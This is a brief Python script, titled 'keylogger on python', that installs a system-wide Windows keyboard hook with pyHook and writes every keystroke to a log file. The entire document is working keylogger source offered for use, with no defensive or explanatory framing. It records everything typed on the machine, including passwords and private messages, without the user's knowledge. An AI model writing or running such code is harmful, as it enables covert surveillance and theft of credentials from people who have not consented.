keylogger on python

#keylog.py
import pythoncom, pyHook, sys, logging

LOG_FILENAME = 'Path//To//Log.out' #I.E. C:\Users\Tech\Desktop\log.out

def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
    level=logging.DEBUG,
    format='%(message)s')
    #print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()